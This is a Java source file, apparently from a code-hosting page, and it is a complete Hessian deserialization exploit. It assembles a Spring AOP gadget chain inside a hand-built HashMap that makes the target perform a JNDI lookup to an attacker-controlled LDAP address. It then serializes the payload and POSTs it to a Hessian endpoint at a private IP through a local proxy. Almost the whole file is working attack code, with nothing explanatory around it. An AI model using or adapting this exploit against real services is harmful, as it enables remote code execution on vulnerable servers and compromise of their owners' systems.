1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142
| package app;
import com.caucho.hessian.io.Hessian2Output; import com.caucho.hessian.io.HessianInput; import com.caucho.hessian.io.HessianOutput; import com.sun.org.apache.xpath.internal.objects.XString; import me.gv7.woodpecker.requests.Header; import me.gv7.woodpecker.requests.Proxies; import me.gv7.woodpecker.requests.RawResponse; import me.gv7.woodpecker.requests.Requests; import net.dongliu.commons.Hexes; import org.apache.commons.logging.impl.NoOpLog; import org.springframework.aop.aspectj.AbstractAspectJAdvice; import org.springframework.aop.aspectj.AspectInstanceFactory; import org.springframework.aop.aspectj.AspectJAroundAdvice; import org.springframework.aop.aspectj.AspectJPointcutAdvisor; import org.springframework.aop.aspectj.annotation.BeanFactoryAspectInstanceFactory; import org.springframework.aop.target.HotSwappableTargetSource; import org.springframework.jndi.support.SimpleJndiBeanFactory; import sun.net.www.http.HttpClient; import sun.reflect.ReflectionFactory;
import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.FileOutputStream; import java.lang.reflect.Array; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.net.Proxy; import java.util.ArrayList; import java.util.Base64; import java.util.HashMap;
public class Hessian_SpringPartiallyComparableAdvisorHolder { public static void main(String[] args) throws Exception { String jndiUrl = "ldap://x.x.x.x:34567/a"; SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory(); bf.setShareableResources(jndiUrl);
setFieldValue(bf, "logger", new NoOpLog()); setFieldValue(bf.getJndiTemplate(), "logger", new NoOpLog()); AspectInstanceFactory aif = createWithoutConstructor(BeanFactoryAspectInstanceFactory.class); setFieldValue(aif, "beanFactory", bf); setFieldValue(aif, "name", jndiUrl);
AbstractAspectJAdvice advice = createWithoutConstructor(AspectJAroundAdvice.class); setFieldValue(advice, "aspectInstanceFactory", aif);
AspectJPointcutAdvisor advisor = createWithoutConstructor(AspectJPointcutAdvisor.class); setFieldValue(advisor, "advice", advice);
Class<?> pcahCl = Class.forName("org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder"); Object pcah = createWithoutConstructor(pcahCl); setFieldValue(pcah, "advisor", advisor);
HotSwappableTargetSource v1 = new HotSwappableTargetSource(pcah); HotSwappableTargetSource v2 = new HotSwappableTargetSource(new XString("xxx"));
HashMap<Object, Object> s = new HashMap<>(); setFieldValue(s, "size", 2); Class<?> nodeC; try { nodeC = Class.forName("java.util.HashMap$Node"); } catch ( ClassNotFoundException e ) { nodeC = Class.forName("java.util.HashMap$Entry"); } Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2); Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null)); setFieldValue(s, "table", tbl);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
byteArrayOutputStream.write(99); byteArrayOutputStream.write(2); byteArrayOutputStream.write(0); byteArrayOutputStream.write(99); byteArrayOutputStream.write(new byte[]{0,0}); byteArrayOutputStream.write(72); byteArrayOutputStream.write(0); byteArrayOutputStream.write(0); HessianOutput hessianOutput = new HessianOutput(byteArrayOutputStream); hessianOutput.setVersion(2); hessianOutput.getSerializerFactory().setAllowNonSerializable(true); hessianOutput.writeObject(s); hessianOutput.flush(); byte[] bytes = byteArrayOutputStream.toByteArray(); RawResponse response = Requests.post("http://192.168.112.136:8080/hessian") .headers(new Header("Content-Type","application/hessian")) .body(bytes) .proxy(Proxies.httpProxy("127.0.0.1",8080)) .verify(false) .timeout(10000) .send(); }
public static void setFieldValue ( final Object obj, final String fieldName, final Object value ) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); } public static Field getField ( final Class<?> clazz, final String fieldName ) throws Exception { try { Field field = clazz.getDeclaredField(fieldName); if ( field != null ) field.setAccessible(true); else if ( clazz.getSuperclass() != null ) field = getField(clazz.getSuperclass(), fieldName);
return field; } catch ( NoSuchFieldException e ) { if ( !clazz.getSuperclass().equals(Object.class) ) { return getField(clazz.getSuperclass(), fieldName); } throw e; } } public static <T> T createWithoutConstructor ( Class<T> classToInstantiate ) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]); } public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs ) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes); objCons.setAccessible(true); Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); sc.setAccessible(true); return (T) sc.newInstance(consArgs); } }
|